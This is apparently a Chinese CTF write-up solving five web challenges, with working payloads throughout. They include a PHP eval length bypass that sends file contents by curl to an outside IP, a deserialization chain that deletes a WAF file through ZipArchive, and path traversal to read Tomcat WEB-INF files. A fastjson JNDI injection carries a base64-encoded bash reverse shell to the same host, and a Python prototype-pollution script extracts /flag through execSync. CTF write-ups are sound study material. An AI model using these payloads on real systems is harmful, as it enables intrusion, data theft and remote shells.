[toc]

little_trick

进入题目,给出源码:

image-20210320153200115

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
highlight_file(__FILE__);
$nep = $_GET['nep'];
$len = $_GET['len'];
if(intval($len)<8 && strlen($nep)<13){
eval(substr($nep,0,$len));
}else{
die('too long!');
}
?>

有以下几个限制:

  • GET传入的len的数值不能大于8
  • GET传入的nep的长度不能超过13

绕过以上两个限制后才可以执行代码 eval(substr($nep,0,$len));

PHP substr() 函数用于返回字符串的一部分,使用方法如下:

1
substr(string,start,length)
  • string:必需。规定要返回其中一部分的字符串。
  • start:必需。规定在字符串的何处开始。
  • length:可选。规定要返回的字符串长度。默认是直到字符串的结尾。

对于第三个参数length,不仅可以传入正数,也可以传入负数,如下:

1
2
3
<?php
echo substr("Hello world",0,11); // 返回Hello world
echo substr("Hello worldx",0,-1); // 返回Hello world

这两个方法的效果是一样的,所以我们传入 len=-1 即可绕过第一个限制,从而将 nep 的值全部返回进eval()函数中。

由于GET传入的nep的长度不能超过13,所以我们可以使用类似以下方法进行绕过:

1
/?shell=`$_GET[1]`;&1=bash command

反引号可以用来在PHP代码中直接执行系统命令,但是想要回显的话还需要一个 echo,但是这里没有 echo,所以我们需要使用VPS进行外带。

所以最终的payload如下:

1
/?nep=`$_GET[1]`;a&len=-1&1=curl http://47.101.57.72:2333/ -d `cat nepctf.php|base64`

image-20210320154539180

image-20210320154601244

base64解密即可获得flag:

image-20210320154656910

bbxhh_revenge

Hint:shell_exec 用不了,就试试别的吧,让自己的 ip 动起来~

进入题目,是一个黑页:

image-20210320155229444

拉到最底下发现:

image-20210320155338143

还以为是直接给了你一个shell,传值试试:

image-20210320155450989

此时报错说当前IP被封了,怪不得Hint说想办法让我们的IP动起来。使用挂个梯子再次访问即可,之后每次访问都需要重新换一个节点。

得到的页面说让我们再次传值 index.php?nepnep=phpinfo();,之后又让给我们POST一个HuaiNvRenPaPaPa,跟着他的提示走就可以了,最后成功执行phpinfo,并在phpinfo里面找到了flag:

image-20210320160040514

梦里花开牡丹亭

进入题目,给出源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
<?php
highlight_file(__FILE__);
error_reporting(0);
include('shell.php');
class Game{
public $username;
public $password;
public $choice;
public $register;

public $file;
public $filename;
public $content;

public function __construct()
{
$this->username='user';
$this->password='user';
}

public function __wakeup(){
if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3"){ // admin
$this->choice=new login($this->file,$this->filename,$this->content);
}else{
$this->choice = new register();
}
}
public function __destruct() {
$this->choice->checking($this->username,$this->password);
}

}
class login{
public $file;
public $filename;
public $content;

public function __construct($file,$filename,$content)
{
$this->file=$file;
$this->filename=$filename;
$this->content=$content;
}
public function checking($username,$password)
{
if($username==='admin'&&$password==='admin'){
$this->file->open($this->filename,$this->content);
die('login success you can to open shell file!');
}
}
}
class register{
public function checking($username,$password)
{
if($username==='admin'&&$password==='admin'){
die('success register admin');
}else{
die('please register admin ');
}
}
}
class Open{
function open($filename, $content){
if(!file_get_contents('waf.txt')){ // 当waf.txt没读取成功时才能得到flag
shell($content);
}else{
echo file_get_contents($filename.".php"); // filename=php://filter/read=convert.base64-encode/resource=shell
}
}
}
if($_GET['a']!==$_GET['b']&&(md5($_GET['a']) === md5($_GET['b'])) && (sha1($_GET['a'])=== sha1($_GET['b']))){
@unserialize(base64_decode($_POST['unser']));
}

开头包含了shell.php,我们可以构造反序列化POC来读取shell.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
class Game{
public $username;
public $password;
public $choice;
public $register;

public $file;
public $filename;
public $content;

public function __construct()
{
$this->username='user';
$this->password='user';
}

public function __wakeup(){
if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3"){ // admin
$this->choice=new login($this->file,$this->filename,$this->content);
}else{
$this->choice = new register();
}
}
public function __destruct() {
$this->choice->checking($this->username,$this->password);
}

}

class login{
public $file;
public $filename;
public $content;
}

class Open{
function open($filename, $content){
}
}
$poc = new Game();
$poc->username = "admin";
$poc->password = "admin";
$poc->register = "admin";
$poc->file = new Open();
$poc->filename = "php://filter/read=convert.base64-encode/resource=shell";
$poc->content = "xxx";
echo base64_encode(serialize($poc));

执行POC得到payload:

1
Tzo0OiJHYW1lIjo3OntzOjg6InVzZXJuYW1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjU6ImFkbWluIjtzOjY6ImNob2ljZSI7TjtzOjg6InJlZ2lzdGVyIjtzOjU6ImFkbWluIjtzOjQ6ImZpbGUiO086NDoiT3BlbiI6MDp7fXM6ODoiZmlsZW5hbWUiO3M6NTQ6InBocDovL2ZpbHRlci9yZWFkPWNvbnZlcnQuYmFzZTY0LWVuY29kZS9yZXNvdXJjZT1zaGVsbCI7czo3OiJjb250ZW50IjtzOjQ6ImxzIC8iO30=

执行payload读取到shell.php的源码base64编码:

image-20210320205140298

解码得到shell.php的源码:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
function shell($cmd){
if(strlen($cmd)<10){
if(preg_match('/cat|tac|more|less|head|tail|nl|tail|sort|od|base|awk|cut|grep|uniq|string|sed|rev|zip|\*|\?/',$cmd)){
die("NO");
}else{
return system($cmd);
}
}else{
die('so long!');
}
}

联合index.php里面的Open类:

1
2
3
4
5
6
7
8
9
class Open{
function open($filename, $content){
if(!file_get_contents('waf.txt')){ // 当waf.txt没读取成功时才能得到flag
shell($content);
}else{
echo file_get_contents($filename.".php"); // filename=php://filter/read=convert.base64-encode/resource=shell
}
}
}

可知我们只要使 file_get_contents('waf.txt') 读取失败就可以进入 shell($content) 来执行系统命令。所以我们应该要想办法将waf.txt这个文件删除,这样就会读取失败,才能执行我们的命令。

要删除waf.txt只能想到原生类了,并且这个原生类中要有一个open()方法。遍历一下能有删除功能函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) {
if (in_array($method, array(
'__destruct',
'__wakeup',
'__call',
'__callStatic',
'open'
))) {
print $class . '::' . $method . "\n";
}
}
}

找到了一个ZipArchive类,其中刚好有一个open()方法刚好符合:

1
ZipArchive::open($filename, $flags = null)

如果设置flags参数的值为 ZipArchive::OVERWRITE 的话,可以把指定文件删除。这里我们跟进方法可以看到const OVERWRITE = 8,也就是将OVERWRITE定义为了常量8,我们在调用时也可以直接将flags赋值为8。

所以我们利用ZipArchive原生类调用open方法,即可将即可将$filename(waf.txt)删除:

1
ZipArchive::open($filename, ZipArchive::OVERWRITE)

删除waf.txt的POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
class Game{
public $username;
public $password;
public $choice;
public $register;

public $file;
public $filename;
public $content;

public function __construct()
{
$this->username='user';
$this->password='user';
}

public function __wakeup(){
if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3"){ // admin
$this->choice=new login($this->file,$this->filename,$this->content);
}else{
$this->choice = new register();
}
}
public function __destruct() {
$this->choice->checking($this->username,$this->password);
}

}

class login{
public $file;
public $filename;
public $content;
}

class Open{
function open($filename, $content){
}
}
$poc = new Game();
$poc->username = "admin";
$poc->password = "admin";
$poc->register = "admin";
$poc->file = new ZipArchive();
$poc->filename = "waf.txt";
$poc->content = ZipArchive::OVERWRITE;
echo base64_encode(serialize($poc));

生成payload:

1
Tzo0OiJHYW1lIjo3OntzOjg6InVzZXJuYW1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjU6ImFkbWluIjtzOjY6ImNob2ljZSI7TjtzOjg6InJlZ2lzdGVyIjtzOjU6ImFkbWluIjtzOjQ6ImZpbGUiO086MTA6IlppcEFyY2hpdmUiOjU6e3M6Njoic3RhdHVzIjtpOjA7czo5OiJzdGF0dXNTeXMiO2k6MDtzOjg6Im51bUZpbGVzIjtpOjA7czo4OiJmaWxlbmFtZSI7czowOiIiO3M6NzoiY29tbWVudCI7czowOiIiO31zOjg6ImZpbGVuYW1lIjtzOjc6IndhZi50eHQiO3M6NzoiY29udGVudCI7aTo4O30=

执行后,即可删除waf.txt。接下来就可以使用 n\l /fla* 执行命令读取flag了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
class Game{
public $username;
public $password;
public $choice;
public $register;

public $file;
public $filename;
public $content;

public function __construct()
{
$this->username='user';
$this->password='user';
}

public function __wakeup(){
if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3"){ // admin
$this->choice=new login($this->file,$this->filename,$this->content);
}else{
$this->choice = new register();
}
}
public function __destruct() {
$this->choice->checking($this->username,$this->password);
}

}

class login{
public $file;
public $filename;
public $content;
}

class Open{
function open($filename, $content){
}
}
$poc = new Game();
$poc->username = "admin";
$poc->password = "admin";
$poc->register = "admin";
$poc->file = new Open();
$poc->filename = "xxx";
$poc->content = "n\l /flag";
echo base64_encode(serialize($poc));

image-20210323162624580

easy_tomcat

Hint:请访问 /Easy_Tomcat

进入题目,是个tomcat的页面:

image-20210323165446534

访问/Easy_Tomcat,是个登录页:

image-20210323165539990

根据逻辑猜测得到三个地址

1
admin.jsp index.jsp register.jsp

在注册时可以选择你的头像,这里很有可能存在任意文件读取:

image-20210323165759135

image-20210323165918417

经过我的测试发现head_path参数前面必须为static/img/并且最多向上穿越两层目录,可是这已经足够了,我们根据javaweb的目录结构,可以直接第一步去拿web.xml文件,多说一句如果可以跳三层我们甚至可以直接拿到war文件Easy_Tomcat.war或者叫ROOT.war这是啥请百度。

1
username=whoami&password=657260&head_path=static/img/../../WEB-INF/web.xml

image-20210323170929319

注册后登陆点击图片处:

image-20210323170750753

base64解密后成功得到web.xml文件的内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<servlet>
<servlet-name>LoginServlet</servlet-name>
<servlet-class>javademo.LoginServlet</servlet-class>
</servlet>
<servlet>
<servlet-name>RegisterServlet</servlet-name>
<servlet-class>javademo.RegisterServlet</servlet-class>
</servlet>
<servlet>
<servlet-name>AdminServlet</servlet-name>
<servlet-class>javademo.AdminServlet</servlet-class>
</servlet>
<servlet>
<servlet-name>InitServlet</servlet-name>
<servlet-class>javademo.InitServlet</servlet-class>
<load-on-startup>1</load-on-startup>

</servlet>
<servlet-mapping>
<servlet-name>LoginServlet</servlet-name>
<url-pattern>/LoginServlet</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>RegisterServlet</servlet-name>
<url-pattern>/RegisterServlet</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>AdminServlet</servlet-name>
<url-pattern>/AdminServlet</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>InitServlet</servlet-name>
<url-pattern>/InitServlet</url-pattern>
</servlet-mapping>
</web-app>

根据javaweb的目录结构我们可以把所有的.class文件下载下来,以及jsp文件下载下来开始审计。

放两个参考的payload:

1
2
3
username=whoami1&password=657260&head_path=static/img/../../index.jsp

username=whoami2&password=657260&head_path=static/img/../../WEB-INF/classes/javademo/AdminServlet.class

读取InitServlet,获取admin账号密码:

1
2
3
4
5
6
7
8
9
10
public class InitServlet extends HttpServlet {
public void init() throws ServletException {
List<User> list = new ArrayList<>();
User admin_user = new User();
admin_user.setUsername("admin");
admin_user.setPassword("no_one_knows_my_password_75767388428345");
list.add(admin_user);
getServletContext().setAttribute("list", list);
}
}

成功登陆了admin.jsp:

image-20210323171502532

我们随便删除一个用户然后抓包:

image-20210324160130862

可以发现,在删除用户时他将信息打包成json格式,发送给服务端,所以我们猜测是fastjson <1.2.47反序列化漏洞。具体操作可以参考:[VNCTF 2021]realezjvav

vps上先开启一个nc监听:

image-20210324160552774

然后使用 JNDI-Injection-Exploit 工具,执行如下命令搭建ldap服务:

1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMDEuNTcuNzIvMjMzMyAwPiYx}|{base64,-d}|{bash,-i}" -A "47.101.57.72"

image-20210324160707275

然后发送如下payload即可:

1
admin_action={"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"name":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://47.101.57.72:1389/dz80hg","autoCommit":true}}

image-20210324160854947

此时VPS上面的ldap服务有了反应:

image-20210324160936977

并成功反弹shell得到flag:

image-20210324161008545

gamejs

进入题目是一个小游戏:

image-20210323163346979

首先看到名字我们不难想到是nodejs,常规套路是拼接source拿到源代码,发现三个路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
var opn = require('opn');
var express = require('express');
var app = express();
var path = require('path');
var bodyParser = require('body-parser');
var highestScore = 40000;
var FUNCFLAG = '_$$ND_FUNC$$_';
var serialize_banner = '{"banner":"好,很有精神!"}';
var flag = {"flag":""} // flag是啥来着?记不清了。

function Record() {
this.lastScore = 0;
this.maxScore = 0;
this.lastTime = null;
}
var validCode = function (func_code){
let validInput = /subprocess|mainModule|from|buffer|process|child_process|main|require|exec|this|eval|while|for|function|hex|char|base64|"|'|\[|\+|\*/ig;
return !validInput.test(func_code);
};
var validInput = function (input) {
let validInput = /subprocess|mainModule|from|process|child_process|main|require|exec|this|function|buffer/ig;
ins = serialize(input);
return !validInput.test(ins);
};
var merge = function (target, source) {
try {
for (let key in source) {
if (typeof source[key] == 'object') {
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
}
catch (e) {
console.log(e);
}
};
var serialize = function (obj, ignoreNativeFunc, outputObj, cache, path) {
path = path || '$';
cache = cache || {};
cache[path] = obj;
outputObj = outputObj || {};
if (typeof obj === 'string') {
return JSON.stringify(obj);
}
var key;
for (key in obj) {
if (obj.hasOwnProperty(key)) {
if (typeof obj[key] === 'function') {
var funcStr = obj[key].toString();
outputObj[key] = FUNCFLAG + funcStr;
} else {
outputObj[key] = obj[key];
}
}
}
return JSON.stringify(outputObj);
};
var unserialize = function(obj) {
obj = JSON.parse(obj);
if (typeof obj === 'string') {
return obj;
}
var key;
for(key in obj) {
if(typeof obj[key] === 'string') {
if(obj[key].indexOf(FUNCFLAG) === 0) {
var func_code=obj[key].substring(FUNCFLAG.length);
if (validCode(func_code)){
var d = '(' + func_code + ')';
obj[key] = eval(d);
}
}
}
}
return obj;
};
app.use(bodyParser());
app.use(bodyParser.json());
app.use(express.static(path.join(__dirname, 'views')));

app.use(function (req, res, next) {
if (validInput(req.body)) {
next();
} else {
res.status(403).send('Hacker!!!');
}
});
async function index(req, res) {
res.sendFile(path.resolve(__dirname, 'static/index.html'));
}
async function record(req, res, next) {
new Promise(function (resolve, reject) {
var record = new Record();
var score = req.body.score;
if (score.length < String(highestScore).length) {
merge(record, {
lastScore: score,
maxScore: Math.max(parseInt(score),record.maxScore),
lastTime: new Date().toString()
});
highestScore = highestScore > parseInt(score) ? highestScore : parseInt(score);
if ((score - highestScore) < 0) {
var banner = "不好,没有精神!";
} else {
var banner = unserialize(serialize_banner).banner;
}
}
res.json({
banner: banner,
record: record
});
}).catch(function (err) {
next(err)
})
}

app.post('/record', record);
app.get('/', index);
app.get('/source', function (req, res) {
opn('app.js').then(() => {
res.sendFile(path.join(__dirname, 'app.js'));
});
})
app.use(function (err, req, res, next) {
console.log(err.stack);
res.status(500).send('Some thing broke!')
});
app.listen('3000');

https://y4tacker.blog.csdn.net/article/details/115097864

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
import time
import string
import json

url = "http://51f3c4ec-d548-4857-a12d-9972e84db83d.node1.hackingfor.fun/"


def deco(idx, c):
p = ''.join(['\\x' + hex(ord(i))[2:] for i in
f'if(process.mainModule.require("child_process").execSync("cat /flag").toString()[{idx}]>"{c}"){{}}else{{throw Error()}}']);
r = {"score": {"__proto__": {"__proto__": {"banner1": "_$$ND_FUNC$$_``.constructor.constructor(`" + p + "`)()"}},
"length": 1}}
return r


flag = ''
for i in range(0, 1000):
max = 127
min = 32
while max >= min:
# print(str(max)+"-------"+str(min))
mid = (max + min) // 2
r = requests.post(url, json=deco(i, chr(mid)))
if "broke" not in r.text:
min = mid + 1
else:
max = mid
if max == mid == min:
flag += chr(mid)
print(flag)
break
if '}' in flag[:-1]:
exit()